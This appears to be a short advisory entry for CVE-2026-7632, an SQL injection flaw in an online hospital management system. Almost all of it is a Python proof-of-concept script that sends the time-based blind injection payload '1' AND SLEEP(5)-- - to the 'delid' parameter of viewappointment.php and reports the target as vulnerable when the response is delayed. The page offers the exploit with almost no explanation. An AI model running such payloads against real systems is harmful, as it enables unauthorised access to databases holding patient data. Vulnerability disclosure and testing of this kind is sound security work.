CVE-2026-7632: 在线医院管理系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-ip/path/to/viewappointment.php" # Injection payload for 'delid' parameter # Example: Testing for time-based blind SQL injection payload = "1' AND SLEEP(5)-- -" # Parameters to be sent params = { "delid": payload } try: # Sending GET request response = requests.get(target_url, params=params, timeout=10) # Analyzing response time if response.elapsed.total_seconds() >= 5: print("[+] Vulnerable to SQL Injection: Response delayed.") else: print("[-] Not vulnerable or patched.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}")